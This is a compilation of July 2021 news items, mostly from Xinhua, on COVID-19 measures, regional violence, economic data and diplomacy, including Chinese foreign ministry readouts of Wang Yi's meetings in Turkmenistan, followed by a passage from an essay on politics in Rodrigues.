Source: Xinhua| 2021-07-15 02:08:21|Editor: huaxia

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RIGA, July 14 (Xinhua) -- Starting Oct. 1, employees in Latvia who do not have valid certificates proving vaccination against or recovery from COVID-19 may lose their jobs, as their employers will have the right to sack them according to new regulation approved by the government on Wednesday.

The government also supported the proposal to make COVID-19 vaccines mandatory for employees of healthcare and long-term social care institutions as well as education institutions.

In other sectors where work involves in-person contacts with clients or employees perform functions essential for the company's operations, employers will have the right to fire those who don't have valid certificates.

The new regulations have been drafted in order to ensure that the services provided to people in Latvia are epidemiologically safe, to protect the population from a steep upsurge in COVID-19 infections and prevent the virus from spreading in workplaces.

However, employers will not be allowed to sack unvaccinated women if they are pregnant, up to a year after childbirth or throughout the period of breastfeeding.

Representatives of Latvia's trade unions at Wednesday's government sitting voiced strong objections to the mandatory vaccination for particular professions, insisting that it should remain strictly optional.

The new rules have yet to be approved by the parliament. Enditem
Source: Xinhua| 2021-07-15 02:57:22|Editor: huaxia

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UNITED NATIONS, July 14 (Xinhua) -- The United Nations on Wednesday strongly condemned recent violence in South Sudan's Warrap State, hitting relief workers and displacing more than 5,000 people.

"Fighting broke out between youth groups in Marial Lou, Tonj North (county), Warrap State on July 8 and continued into the next day," said the UN Office for the Coordination of Humanitarian Affairs (OCHA). "According to initial reports, more than 5,000 people were displaced; hundreds of shelters were burned down; health centers, schools and churches were vandalized."

The independent regional broadcaster Radio Tamazuj said that at least 14 people were killed and 29 others were injured in a cattle raid between the Lou and Luanyjang communities on July 9 in Warrap's Tonj North and Tonj East counties.

Radio Tamazuj said calm has since returned to the area.

Arafat Jamal, OCHA's interim coordinator in South Sudan, strongly condemned the July 8 violence on aid workers and assets in Tonj North.

More than 911 metric tons of food items and nutrition supplements were looted or destroyed in South Sudan since the beginning of the year, Jamal said in a statement. The supplies were enough to feed more than 41,000 food-insecure people for up to four months.

He said attacks increased in the last four months against aid workers, people serving the community and assets across South Sudan. Tonj North is one of six counties in South Sudan where families risk facing catastrophic levels of hunger. Enditem
Source: Xinhua| 2021-07-15 04:59:44|Editor: huaxia

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SANTIAGO, July 14 (Xinhua) -- Over 15 million people, 75.57 percent of the target population in Chile, have been fully vaccinated against COVID-19, Health Minister Enrique Paris said Wednesday.

The target population of 15,200,840 represents 80 percent of the country's inhabitants, enough to achieve herd immunity, according to health officials.

This week, Chile's vaccination drive will target adolescents aged 17, 16 and 15, said Paris.

Chile has registered 1,592,130 confirmed cases of COVID-19 and 34,049 deaths from the disease since the onset of the outbreak, with tests currently detecting less than 3,000 new cases a day on average.

Chile's President Sebastian Pinera last week announced that people who have been fully vaccinated would enjoy fewer pandemic restrictions as of July 15. Enditem
Source: Xinhua| 2021-07-15 06:10:34|Editor: huaxia

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GENEVA, July 14 (Xinhua) -- A representative of Turkmenistan said here Wednesday at the 47th session of the UN Human Rights Council (HRC) that Hong Kong and Xinjiang related issues are China's internal affairs and Turkmenistan supports the position of the Chinese government in this regard.

Turkmenistan welcomes the China-initiated HRC resolution entitled "The contribution of development to the enjoyment of all human rights," which was adopted by the council with an overwhelming voting record, said the representative in a statement.

Turkmenistan endorses the idea that the respect for sovereignty, independence and territorial integrity of states and non-interference in internal affairs of sovereign states represent basic norms governing international relations, the statement read.

"In this context, my delegation supports the position of the Government of the People's Republic of China, based on the 'one China' principle, (that) Hong Kong and Xinjiang related issues are China's internal affairs," the representative said.

"We believe that Human Rights Council should not be used as a political sphere for country specific situations and that cooperation and genuine dialogue with concerned States should define the parameters of the Council's actions in country-specific situations," the statement noted.

According to the Chinese Mission to the UN at Geneva, more than 90 countries have expressed their support for China on issues related to Xinjiang, Hong Kong and Tibet during the HRC session held from June 21 to July 14. Enditem
Source: Xinhua| 2021-07-14 04:42:19|Editor: huaxia

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LAGOS, July 13 (Xinhua) -- A total of 222 people were killed and 774 others kidnapped in the second quarter of 2021 in a spate of attacks by gunmen who have been on the rampage in Nigeria's northwestern state of Kaduna, an official security report said on Tuesday.

In the security report for the second quarter of 2021, the Kaduna state government also confirmed 226 persons were injured, while 87 gunmen responsible for killing and kidnapping innocent citizens of the state were killed between April and June 2021.

The report covered various attacks including banditry, reprisal attacks, kidnapping and cattle-rustling in the northern state.

It also said gunmen had begun to collect protection levies from farmers in communities across 12 local government areas of the state.

"Many farmers in these areas, fearing for their lives and safety, have abandoned their fields altogether. This has already begun to affect crop yields, and the threat of food insecurity looms large," said the report. Enditem
Source: Xinhua| 2021-07-14 09:38:04|Editor: huaxia

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GABORONE, July 14 (Xinhua) -- Botswanan President Mokgweetsi Masisi announced on Tuesday that his government has taken a decision to close schools from this coming Friday until Aug. 16 as the country battles its deadliest COVID-19 wave.

Masisi made the announcement in a scheduled national address broadcast live on state television channel. He said the country found itself in a dire situation of rapidly rising cases and inadequate vaccines.

As of Monday, the country had registered a total of 80,153 confirmed cases and 1,253 deaths. Active cases reached an all-time high of 8,970 with an average of more than 1,000 daily cases in the past three days.

Masisi said his government would prioritize to vaccinate teachers during the closure of schools as the virus has shown to be widespread in schools. Stakeholders have been calling for the closure of schools following deaths of at least 64 teachers by the end of last week.

Like many African countries, Botswana was facing a challenge of vaccine shortage. Although the uncertain availability of vaccines makes it difficult for the country's vaccine rollout plan to go on smoothly, the government remains hopeful to have all those eligible to be vaccinated by the end of 2022, said Masisi.

Meanwhile, the president also told the nation that COVID-19 has severely battered the country's economy and there is no sign of a quick recovery. He called on everyone to remain vigilant of the situation and do their best to contain the spread of the virus. Enditem
Source: Xinhua| 2021-07-14 22:26:01|Editor: huaxia

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by Tafara Mugwara

HARARE, July 14 (Xinhua) -- At Parirenyatwa Group of Hospitals, Zimbabwe's largest referral hospital and one of the country's vaccination centers, scores of people could not wait to receive their lifesaving jabs.

The country's vaccination drive had been marred by vaccine hesitancy since its launch in February, but the third pandemic wave that hits Zimbabwe has triggered the demand for vaccines.

Sekesai Kazangarara, who had come to receive her first shot, said while she was hesitant to receive the jab when the vaccination was opened to the general public, the fear of getting sick if infected drove her to get the vaccine as soon as she could.

Zimbabwe stepped up its vaccination drive after receiving its biggest consignment of Sinovac shots last Thursday.

On Tuesday, 43,671 people were vaccinated, the highest number on a daily basis since the vaccine rollout began earlier this year. The country is targeting 100,000 daily vaccinations to achieve herd immunity by year-end. To date, 955,656 people have received their COVID-19 jabs, according to Ministry of Health data.

Like much of the southern Africa region, Zimbabwe is battling a third wave of COVID-19, driven by the highly transmissible Delta variant and the cold season in the southern hemisphere.

The highest rate of daily infections was seen on Tuesday, with 2,845 new positive cases recorded in 24 hours.

The country also recorded 38 deaths on the same day, raising the national death toll to 2,274.

With cases skyrocketing, so has been the number of people seeking to receive their jabs.

Health experts have attributed the rush for vaccines to fear, as infection data has shown that most of the people who are falling seriously ill after contracting the virus are unvaccinated.

While the vaccination drive has taken a huge leap, the sheer numbers seeking the shots have seen vaccination centers being overwhelmed.

At Parirenyatwa Group of Hospitals, Janet Maziba Gome, a farmer from Mazoe, a farming area near Harare, had traveled to the city to receive her jab but was told that she might not receive her jab on that day since a limited number of people could be served.

"I am a farmer, I have come here so that I can protect myself, my family, and my employees, so if I fail to get my jab today that will be a huge blow to my plans as a farmer and for my employees," she said.

Tariro Katsikadova is one of many people who were patiently waiting to receive their vaccines.

He said there has been a hunger for vaccines following a sharp surge in cases, and the rollout is failing to keep pace.

"But the problem that I have here is that I have been coming here for the past 5 days but I haven't been able to receive my jab.

"I was here early in the morning by 7 o'clock because we are not permitted to move during curfew hours, so since morning, from 7 o'clock up to midday we haven't received our jabs and we are being told that we may not get vaccinated today," he said.

Katsikadova urged authorities to speed up the vaccination process and open more vaccination centers to ensure that herd immunity can be reached by year-end.

Zimbabwe started a mass vaccination program in February with a target to inoculate 60 percent of its approximately 15 million people by year-end.

The country has so far been mainly using two Chinese vaccines - Sinopharm and Sinovac - to inoculate its population.

It has also taken delivery of small stocks of Russia's Sputnik V vaccine donated by a diamond mining company Alrosa, and India's Covaxin donated by the Indian government.

The country is expecting to have taken delivery of about 7 million vaccines by the end of July.

Meanwhile, Zimbabwean President Emmerson Mnangagwa on Tuesday extended a pandemic lockdown by a further two weeks to reduce the transmission of COVID-19.

During the two-week period, the government will target to vaccinate one million people. Enditem
Source: Xinhua| 2021-07-14 23:36:52|Editor: huaxia

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YAOUNDE, July 14 (Xinhua) -- Unidentified gunmen shot dead two Cameroonian gendarme officers and wounded another on Wednesday at a security checkpoint in the country's West region, security and local sources said.

The attack occurred early in the day in Babadjou, a town about 37 km to West regional capital of Bafoussam.

The gunmen riding on a motorcycle and wearing army uniform opened fire on the gendarmes as they approached the Zavion security checkpoint in Babadjou, a security officer who declined to be named told Xinhua.

There was no immediate claim of responsibility for the attack.

Armed separatists fighting to create an independent nation in the English-speaking part of Cameroon are known to launch sporadic attacks in the West region which shares boundary with the Northwest, one of the two Anglophone regions. Enditem
Source: Xinhua| 2021-07-15 00:03:15|Editor: huaxia

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RABAT, July 14 (Xinhua) -- Morocco will send emergency medical aid to Tunisia to help contain the rapid rise in COVID-19 infections, the Moroccan foreign ministry said in a statement on Wednesday.

The medical aid, ordered by Moroccan King Mohammed VI, consists of two complete and autonomous intensive care units with a total capacity of 100 beds, and will be airlifted by Moroccan Royal Air Force, said the ministry statement.

It also includes 100 respirators and two oxygen generators, the statement added.

Tunisia on Tuesday reported 8,473 new COVID-19 cases, raising the total tally in the North African country to 510,396. Enditem
Source: Xinhua| 2021-07-15 03:58:58|Editor: huaxia

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TUNIS, July 14 (Xinhua) -- The Board of Directors of the African Development Bank Group (AfDB) has approved a grant of 60 million euros (about 71 million U.S. dollars) to Tunisia to support economic recovery and social inclusion.

The main objective of this program is to support the dynamic of economic recovery by improving the investment climate, preserving employment and promoting social inclusion by using new mechanisms to overcome the social challenges exacerbated by the COVID-19, according to a statement released by the AfDB.

Some 2.3 million people will benefit from this program especially those whose conditions have been affected by the repercussions of the pandemic, it said. Enditem
Source: Xinhua| 2021-07-14 01:57:17|Editor: huaxia

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DHAKA, July 13 (Xinhua) -- The entry of Chinese vaccines into the COVAX demonstrates contributions China has been making to solving the uneven distribution of COVID-19 vaccines around the world, a Bangladeshi health advisor said on Tuesday.

Mushtuq Husain, an adviser to the Institute of Epidemiology, Disease Control and Research under Bangladesh's Health Ministry, in an interview with Xinhua said so far China is the country that provides the most vaccines for developing countries.

He said China's contributions will bolster the inoculation drive against the ongoing COVID-19 pandemic worldwide.

The official said Bangladesh is delighted to learn that the Chinese drugmakers Sinopharm and Sinovac will provide COVID-19 vaccines for the COVAX program to bolster its goals of reducing death and suffering as well as improving the global economy.

"We are very happy and feeling relieved that Sinopharm and Sinovac have contributed to COVAX to facilitate the equitable distribution of COVID-19 vaccine to the developing countries," he said, adding that this would be a big boon for the whole world in the fight against the deadly disease.

The official said Bangladesh is in need for more Chinese support to rein in the worsening COVID-19 situation.

The Bangladeshi health official also said they are seeking more cooperation with Chinese organizations in the fight against infectious diseases. Enditem
Source: Xinhua| 2021-07-14 11:19:26|Editor: huaxia

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SEOUL, July 14 (Xinhua) -- South Korea's export of information and communications technology (ICT) products kept rising for 13 straight months in June due to the global demand recovery from the COVID-19 pandemic shock, a government report showed Wednesday.

The ICT export amounted to 19.3 billion U.S. dollars in June, up 29.1 percent from a year earlier, according to the Ministry of Trade, Industry and Energy.

It continued to grow for 13 months since June last year as the global economy recovered from an economic slump caused by the pandemic.

Semiconductor export jumped 34.3 percent over the year to 11.23 billion dollars in June, topping 10 billion dollars for the second consecutive month.

Display panel shipment soared 29.7 percent, but mobile phone export fell 1.8 percent on weak demand for relevant components. Export for computer and peripherals advanced in double digits.

The ICT export to major export destinations, including China, the United States, the European Union (EU), Vietnam and Japan, all increased in double figures last month.

The ICT products import spiked 17.7 percent from a year earlier to 10.57 billion dollars in June, sending the trade surplus to 8.73 billion dollars.

For the first six months of this year, the ICT export reached 103.04 billion dollars. It was up 21.5 percent compared to the same period of last year.

The ICT import went up 18.9 percent over the year to 62.75 billion dollars in the first half, leading the trade surplus to 40.29 billion dollars. Enditem
Source: Xinhua| 2021-07-14 11:59:13|Editor: huaxia

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Photo taken on July 14, 2021 shows a view of the skyline of Singapore. Singapore's Ministry of Trade and Industry said Wednesday that based on advance estimates, the country's gross domestic product (GDP) grew 14.3 percent year on year in the second quarter of 2021, compared to a 1.3 percent expansion in the first quarter. (Photo by Then Chih Wey/Xinhua)



SINGAPORE, July 14 (Xinhua) -- Singapore's Ministry of Trade and Industry said Wednesday that based on advance estimates, the country's gross domestic product (GDP) grew 14.3 percent year on year in the second quarter of 2021, compared to a 1.3 percent expansion in the first quarter.

The strong growth was largely due to the low base in the second quarter of 2020 when GDP fell by 13.3 percent due to the circuit breaker measures implemented from April 7 to June 1 last year to contain the spread of COVID-19 in the country.

In absolute terms, GDP in the second quarter of 2021 remained 0.9 percent below its pre-pandemic level in the second quarter of 2019, the ministry added.

On a seasonally-adjusted basis, Singapore's economy declined 2 percent quarter on quarter in the second quarter of 2021, compared to a 3.1 percent expansion in the previous quarter.

In a breakdown, Singapore's manufacturing sector expanded by 18.5 percent year on year but contracted by 1.8 percent quarter on quarter in the second quarter. The construction sector skyrocketed by 98.8 percent year on year but contracted by 11 percent quarter on quarter. The services producing industries expanded by 9.8 percent year on year but contracted by 1 percent quarter on quarter.

The advance GDP estimates released on Wednesday were computed largely with data in the first two months of the quarter, according to the ministry. These figures are intended as an early indication of the GDP growth in the quarter, and are subject to revision when more comprehensive data become available.

The ministry said it will release the preliminary GDP figures for the second quarter in August. Enditem
Source: Xinhua| 2021-07-14 13:40:40|Editor: huaxia

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MANILA, July 14 (Xinhua) -- The Philippines has extended the travel ban for all inbound travelers from India, Pakistan, Sri Lanka, Bangladesh, Nepal, Oman, and the United Arab Emirates (UAE) until July 31, presidential spokesperson Harry Roque said Wednesday.

In a televised press conference, Roque said that the inter-agency coronavirus task force has approved the extension of the travel ban on these seven "high-risk" countries to prevent the spread of the highly infectious Delta variant first found in India.

The Philippines has detected the Delta variant in the samples taken from 19 returning Filipinos. No community transmission has been reported so far.

The Philippines has extended five times the travel restrictions to these countries severely hit by the Delta variant to prevent the spread of the more contagious variant in the country.

The Philippines has reported a total of 1,481,660 confirmed cases as of Tuesday, including 26,092 deaths. Enditem
Source: Xinhua| 2021-07-14 13:51:59|Editor: huaxia

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ISLAMABAD, July 14 (Xinhua) -- At least 9 people were killed and 39 others injured on Wednesday morning when a blast hit buses in the Upper Kohistan district of Pakistan's northwest Khyber Pakhtunkhwa province, local media reported.

Local media quoting officials said that the bus was carrying workers to a working site in the Dasu area of the district when it was hit by the blast.

Security forces, police and rescue teams rushed to the site and shifted the bodies and the injured to a nearby hospital. Enditem
Source: Xinhua| 2021-07-14 18:05:06|Editor: huaxia

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Photo taken with a mobile phone shows people transferring an injured person to a hospital following a blast in Gilgit city, Pakistan's northwest Khyber Pakhtunkhwa province, July 14, 2021. A blast happened Wednesday in Pakistan's northwest Khyber Pakhtunkhwa province, leaving 12 people including nine Chinese dead, the Chinese Embassy in Pakistan confirmed. (Str/Xinhua)
Source: Xinhua| 2021-07-14 19:09:16|Editor: huaxia

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PHNOM PENH, July 14 (Xinhua) -- Cambodia will temporarily shut its border with Vietnam for one month beginning July 18 to prevent the spread of COVID-19, Foreign Ministry's standing secretary of state Ouch Borith said.

In a letter sent to the Cambodian ambassador to Vietnam on Tuesday and released to the media on Wednesday, Borith said the decision was made with the approval of Cambodian Prime Minister Samdech Techo Hun Sen.

During the temporary suspension of entry and exit travel, Vietnamese skilled workers, technicians and employees will not be allowed to enter Cambodia and those in Cambodia will not be allowed to return to Vietnam, he said.

The measure does not apply to patients seeking medical treatment in Vietnam, diplomats, officials on a mission at the invitation of the two countries' authorities, and students who have completed the course or cases with special permission from the government, he added.

According to the letter, the transport of goods across the border can still be carried out with strict compliance with health measures set out by the two Southeast Asian nations.

Both Cambodia and Vietnam have spared no effort to contain the spread of COVID-19.

Cambodia reported 915 new COVID-19 infections, including 257 imported cases, on Wednesday, pushing the national total caseload to 63,615, the health ministry said, adding that 33 new fatalities were recorded, taking the overall death toll to 986. Enditem
Source: Xinhua| 2021-07-14 20:08:36|Editor: huaxia

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BEIJING, July 14 (Xinhua) -- China will continue to provide support within its capacity to Pacific island countries in need so that they can ultimately prevail over the pandemic, said a Foreign Ministry spokesperson on Wednesday.

Spokesperson Zhao Lijian made the remarks during a daily news briefing when asked to comment on a report that Papua New Guinea (PNG) had announced a rollout of the Chinese-made Sinopharm vaccine in an effort to further contain the spread of COVID-19 in the Pacific island country.

The announcement came after donations of Sinopharm vaccines arrived in PNG in late June. A ceremony was held Tuesday at Port Moresby General Hospital in the capital city of Port Moresby, where PNG government officials received vaccine jabs on site.

The PNG side said at the ceremony that the Chinese vaccine's safety and effectiveness have been fully tested and thanked the Chinese side for providing the PNG people with a new option in their fight against the pandemic, said Zhao.

Zhao said that PNG is the third Pacific island country to roll out a Chinese vaccine on a nationwide basis, after the Solomon Islands and Vanuatu, and noted that this is a concrete manifestation of China's firm commitment to making vaccines global public goods in Pacific island countries. He also said it was a practical action from China to promote the construction of a community of common health for mankind. Enditem
Source: Xinhua| 2021-07-14 04:15:58|Editor: huaxia

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BRUSSELS, July 13 (Xinhua) -- The Council of the European Union (EU) on Tuesday approved the first batch of national plans for recovery from the COVID-19 pandemic fallout, concluding the process for nearly half of EU countries to get the initial capital.

The first 12 countries to be able to get the much-needed loans and grants are Austria, Belgium, Denmark, France, Germany, Greece, Italy, Latvia, Luxembourg, Portugal, Slovakia and Spain.

"I think today is a historic day because it's the first time that the EU, the European Commission supported states in such way. For example, went to the markets, issued bonds, and now pays grants and loans to the countries," declared Slovenian Minister for Finance Andrej Sircelj, whose country holds the current presidency of the Council of the EU.

"This is excellent news. We have come a long way in preparing these ambitious plans. The EU funding can now start to flow to finance much-needed reforms and investments in each of these countries," said Valdis Dombrovskis, European Commission Executive Vice-President in charge of An Economy that Works for People.

"But this is only the start. Putting all plans into proper and rapid effect will be vital," he cautioned.

The 12 countries will now have to sign grant and loans agreements with the European Commission, which will enable the commission to unlock a 13 percent pre-financing of the total amount each country will receive. Countries should get their pre-financing by the end of July, according to Dombrovskis.

"I think it's very important that this formal final approval of these plans is set to arrive exactly in the moment when the recovery is underway. This will boost confidence in the markets," said Paolo Gentiloni, European Commissioner for Economy.

The money will be allocated from the 672.5 billion-euro Resilience and Recovery Facility, an instrument at the heart of NextGenerationEU, the bloc's massive recovery package. Up to 312.5 billion euros will be available in grants, and up to 360 billion euros in loans.

Among the 12 EU member states, Italy will receive 191.5 billion euros from the EU, including 68.9 billion euros in grants and 122.6 billion euros in loans. It is the largest package so far.

Italy's plan devotes 37 percent of expenditure on projects that support climate objectives, including a large-scale renovation program to increase the energy efficiency of buildings. A quarter of the money will go to digital investments, according to the European Commission.

An extraordinary economic and finance council will be held virtually in late July, during which the resilience and recovery plans of Slovenia, Lithuania, Cyprus, and Croatia should be approved. Ireland could also be part of the second batch, announced Sircelj. Enditem
Source: Xinhua| 2021-07-14 11:34:49|Editor: huaxia

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BERLIN, July 13 (Xinhua) -- German Chancellor Angela Merkel is going to visit Washington on Thursday, expecting to tackle issues dominating the transatlantic ties.

The U.S. government has planned welcoming programs to show solidarity between allies, while the German public is urging Merkel to push for solutions concerning energy and trade.

FAREWELL VISIT

Merkel will deliver a speech on Thursday before her official meeting with U.S. President Joe Biden, and she and her husband will be invited to dinner in the White House, according to the schedule released by Deutsche Presse Agentur.

White House Press Secretary Jen Psaki said the meeting will shore up the partnership between the two countries.

She said the "forward-looking visit" will focus on increasing cooperation in the coming months and years, hinting at topics on post-Merkel-era relations.

Merkel, in her fourth term, has made it clear several times that she will not seek another term in Germany's federal election scheduled for September.

It is Merkel's first visit to the United States after Biden took office and probably her last one as German chancellor, and some German media predicted that Biden might use an occasion during the visit to bid farewell.

The meeting comes weeks after Biden's Europe tour aimed at restoring the transatlantic ties.

Analysts said although Merkel may get a warm reception, not like her last visit in 2018, Germany has to realize that the U.S. government has shifted its focus to the Asia-Pacific region.

BAD ENERGY DEAL

Topics between Merkel and Biden will include the COVID-19 pandemic, climate change, economic prosperity and international security based on shared values, according to a press release from the U.S. embassy in Berlin.

However, none of the topics is drawing more attention than the Nord Stream 2 gas pipeline that links Russia to Germany via the Baltic seabed, bypassing Ukraine.

Washington has long accused the project of posing a geopolitical threat to Ukraine, which is denied by both Germany and Russia.

The U.S. government recently waived sanctions against German companies in the project, but the Russian ships and entities involved were not exempted.

Psaki said Biden continues to view the pipeline as a "bad deal," and she declined to comment on whether an agreement could be reached after the upcoming meeting.

Before heading off to Washington, Merkel on Monday met with Ukrainian President Volodymyr Zelensky, reassuring him Germany and the European Union (EU) will persuade Russia not to route all of its gas pipelines around Ukraine in the future.

Merkel said she would discuss the issue with Biden but didn't "know whether the papers will be finalized."

TRADE BARRIERS

Another pending issue is the 25-percent steel and 10-percent aluminum tariffs imposed three years ago by the U.S. administration of Donald Trump.

The EU in May temporarily suspended the counter-tariffs that targeted a series of U.S. products, including whiskey, motorbikes, jeans, in a goodwill gesture. However, the U.S. government is still hesitating to lift the tariffs.

Biden is facing pressure to keep the tariffs in place from steel industry groups and unions in some key states that helped him win the presidential election.

Washington and Brussels have established a working group to solve the issue by December through negotiation.

Siegfried Russwurm, president of Federation of German Industries, said European exporters are burdened with bureaucracy and high costs concerning the tariffs.

In an interview with German newspaper Sueddeutsche Zeitung, Russwurm expected Merkel to dismantle trade barriers and make it easier for business travelers to travel to the United States again.

Russwurm said Biden will have a more moderate tone towards Merkel than his predecessor Trump, but nobody should have any illusions as even under Biden, the United States will pursue "a clear agenda" in dealing with Germany. Enditem
Source: Xinhua| 2021-07-14 06:44:39|Editor: huaxia

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SAN FRANCISCO, July 13 (Xinhua) -- Amazon on Tuesday announced plans to hire over 100,000 U.S. veterans and military spouses by 2024.

Amazon currently employs over 40,000 veterans and military spouses across multiple businesses, the announcement said.

"Amazon is focused on recruiting and developing military talent with training programs specifically designed to help veterans transition into roles in the private sector," said John Quintas, Amazon's director of global military affairs. "We value the unique skills and experience that the military community brings - and our new hiring commitment will expand the impact that military members currently have on every single business across the company."

The company expects that through this pledge, it will hire over 16,000 military spouses.

Eric Eversole, vice president at the U.S. Chamber of Commerce, praised Amazon's goal. "Through their commitment to provide upskilling and employment opportunities in high-demand careers, Amazon is equalizing opportunity for veterans and military spouses," he said. Enditem
Source: Xinhua| 2021-07-14 15:16:10|Editor: huaxia

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WASHINGTON, July 14 (Xinhua) -- U.S. Congressman Mark Green has warned against a new "Cold War" between the United States and China.

In an article recently published in The National Interest, a conservative U.S. magazine, Green wrote that "we must do everything we can to avoid a new cold war -- this time one between the United States and China."

"The United States and China have completely intertwined supply chains, and conflict between the two countries could be devastating for critical sectors of our economy, like the medical and auto industries," the Tennessee Republican stressed.

"Focusing China and the United States on a common goal worked in the past," he continued. "It is our best hope for the future to avoid a new Cold War."

Green also serves on the U.S. House Armed Services and Foreign Affairs Committees. Enditem
Turkmen President Gurbanguly Berdymukhamedov Meets with Wang Yi

2021/07/13

On July 13, 2021 local time, Turkmen President Gurbanguly Berdymukhamedov met with State Councilor and Foreign Minister Wang Yi in Ashgabat.

Wang Yi passed on the cordial regards of President Xi Jinping to Berdymukhamedov, saying that the China-Turkmenistan ties have seen healthy and stable development since the establishment of diplomatic relations nearly 30 years ago, with the strategic guidance of the two heads of state being the biggest advantage and the mutual support being the most fundamental feature. The phone conversation between the two heads of state days ago has charted a course for the subsequent development of and injected strong growth momentum into the two countries' relations. China firmly supports Turkmenistan's commitment to permanent neutrality, its important initiatives aimed for international peace and prosperity, and its major political processes. China is ready to further deepen cooperation with Turkmenistan in various areas and add more substance to their strategic partnership.

Wang Yi said, the two countries should sign as soon as possible documents on the alignment of the China-proposed Belt and Road Initiative with Turkmenistan's development strategy to revive the Great Silk Road, formulate a five-year plan for all-round cooperation, plan overall strategic cooperation between the two countries, and turn the high-level political relations into more concrete results that will benefit the two peoples. China always views cooperation with Turkmenistan in natural gas from the strategic and long-term perspective and offers to be the most reliable and stable export market for Turkmenistan's natural gas. China is ready for cooperation with Turkmenistan across the whole industrial chain of oil and gas, and jointly forge a high-level strategic partnership in the energy sector. In the meanwhile, both sides should expand cooperation in non-natural resources sectors and enrich bilateral strategic cooperation. China will continue to provide support and aid, including vaccines, for Turkmenistan to help it combat the COVID-19 pandemic, strengthen bilateral health cooperation, and build a global community of health for all.

Wang Yi emphasized, the current security situation in Central Asia is not optimistic, and the urgency and necessity of strengthening security cooperation between China and Turkmenistan have become increasingly prominent. China is willing to maintain close communication with Turkmenistan on the situation in Afghanistan, strengthen cooperation under the "China+Central Asia" (C+C5) framework, strictly guard against and respond to the spillover effect of the situation in Afghanistan on neighboring countries, and maintain regional peace and stability.

Berdymukhamedov conveyed through Wang Yi his sincere greetings to President Xi Jinping and extended his warm congratulations on the 100th anniversary of the founding of the Communist Party of China. Berdymukhamedov said, China is the only country that has eliminated absolute poverty and completed the building of a moderately prosperous society in all respects, and Turkmenistan admires China for its achievements that have attracted worldwide attention. Turkmenistan and China are long-term strategic partners, and the bilateral relations are based on mutual respect, mutual trust and mutual support. The Turkmen side thanked China for consistently supporting the international initiatives put forward by it and its permanent neutrality. Turkmenistan firmly supports the one-China principle and will continue to firmly support China on issues involving China's core interests. To cooperate with China in the energy sector is a political decision made by Turkmenistan. Turkmenistan regards China as a long-term and reliable strategic partner in the field of natural gas, and is willing to further expand cooperation with China in the fields of information, communications, high technology, etc. The Turkmen side thanked China for its anti-pandemic assistance. China's vaccines are safe, effective and trustworthy, and Turkmenistan is willing to continue to strengthen vaccine cooperation with China. China and the five Central Asian countries are not only close neighbors, but also friends and partners. The two sides have huge space and potential for mutually beneficial cooperation, and should work together to give full play to the role of the C+C5 mechanism to maintain regional security and stability, and promote regional development and prosperity. The Turkmen side advocated that neighboring countries should play a bigger role on the Afghan issue, and expressed its willingness to step up communication and coordination with China on the situation in Afghanistan.

During his visit to Turkmenistan, Wang Yi also held talks with Turkmen Deputy Prime Minister and Foreign Minister Rashid Meredov, and met with Turkmen Deputy Prime Minister and Turkmen President of China-Turkmenistan Cooperation Committee Serdar Berdymukhamedov.
Wang Yi Meets with Turkmen Deputy Prime Minister Serdar Berdymukhamedov

2021/07/13

On July 13, 2021 local time, State Councilor and Foreign Minister Wang Yi met with Turkmen Deputy Prime Minister and Turkmen President of China-Turkmenistan Cooperation Committee Serdar Berdymukhamedov in Ashgabat.

Wang Yi said, under the leadership of the two heads of state in person, the strategic partnership between China and Turkmenistan has maintained a sound and stable development momentum. The China-Turkmenistan Cooperation Committee is the most important mechanism for coordination of cooperation between the two countries in various fields. China is willing to work with Turkmenistan to further strengthen the mechanism of the Cooperation Committee and prepare for the fifth meeting to be held within the year. He hopes that the two sides will sign documents on aligning the China-proposed Belt and Road Initiative with Turkmenistan's development strategy to revive the Great Silk Road, draw up a cooperation plan for the next five years, promote substantive progress in natural gas cooperation talks as soon as possible, expand cooperation in non-natural resources sectors, and reach an early agreement on economic cooperation in important fields, so as to send a positive signal that China and Turkmenistan will engage in long-term and stable strategic cooperation. China will continue to provide Turkmenistan with vaccines, and is willing to step up cooperation with Turkmenistan in the health sector and help Turkmenistan fight the pandemic. The two sides should also reach an agreement on the mutual establishment of cultural centers as soon as practicable.

Serdar Berdymukhamedov extended warm congratulations on the 100th anniversary of the founding of the Communist Party of China (CPC), and highly lauded the splendid achievements made by China under the leadership of the CPC. Serdar said, the Turkmen side attaches great importance to the continuous strengthening of its strategic partnership with China based on the principle of mutual respect, equality and mutual benefit. Under the guidance and promotion of the two heads of state, both sides have maintained a high level of cooperation in various fields such as politics, economy, people-to-people and culture. Turkmenistan thanked China for providing it with vaccines, and hopes that the role of the Turkmenistan-China Cooperation Committee will be brought into full play to promote more fruitful cooperation between the two sides in the fields of economy, trade, education, culture, science, health and medical care to the best of its ability.
President Mnangagwa has mourned the death of Zanu PF Central Committee member and former Muzvezve Member of Parliament, Cde Peter Haritatos, describing him as a 'reliable, loyal and committed patriot.'

Cde Haritatos popularly, known as "Baba George" for his conversance in the Shona language, succumbed to Covid-19-related complications at a local hospital in Harare last Saturday at the age of 77.

In a statement this morning, President Mnangagwa said the death of Cde Haritatos due to Covid-19 related complications further highlighted how dangerous and widespread the disease had become in the country.

"No one is safe from it until everyone is safe," he said. "A senior member of the Central Committee of our party Zanu PF and former legislator for Muzvezve, the death of Cde Haritatos has robbed our nation of a reliable, loyal and committed patriot with a warm and generous heart towards his fellow compatriots."

Cde Haritatos was father to Lands, Agriculture, Fisheries, Water and Rural Resettlement Deputy Minister Vangelis Haritatos.
The Chief Commissioner, aged 81, is hospitalised in Mauritius. This event has shaken the political scene in Rodrigues and is breeding realignments. It only underscores the extent to which Clair has dominated - and effectively remodelled - politics in the "little sister island" since the late 1970s.

Rodrigues before the 1970s

Rodrigues had never figured very highly in the colonial period of Mauritius. For long, it was considered an undeveloped backwater, the place where troublesome politicians from mainland like Emmanuel Anquetil were exiled by the British authorities. Politics too entered Rodrigues late. Although Mauritius enjoyed universal suffrage in the 1959 elections, when mainland Mauritians would vote for representatives in the colonial-era legislative council, it was only after a battle in the Supreme Court, spearheaded by Gaetan Duval and the PMSD, that Rodrigues got the vote for the first time in the 1967 elections.

Not surprisingly, 1967 paved the way for the PMSD's political dominance over Rodrigues. In that election, Gaetan Duval's PMSD got 96 percent of the vote. Other mainland parties such as the Independence Party - a bloc of Labour- IFB and CAM - never had a chance, due not just to the PMSD's role in giving Rodriguans the vote, but also to the fact that the ethnic makeup of these parties allowed no purchase in Rodrigues at a time when ethnic politics was in full sway. In fact, the candidate for the Labour-IFB-CAM bloc, Jean Max Lucchesi, bagged just 83 - or 1.17 percent - of the votes.

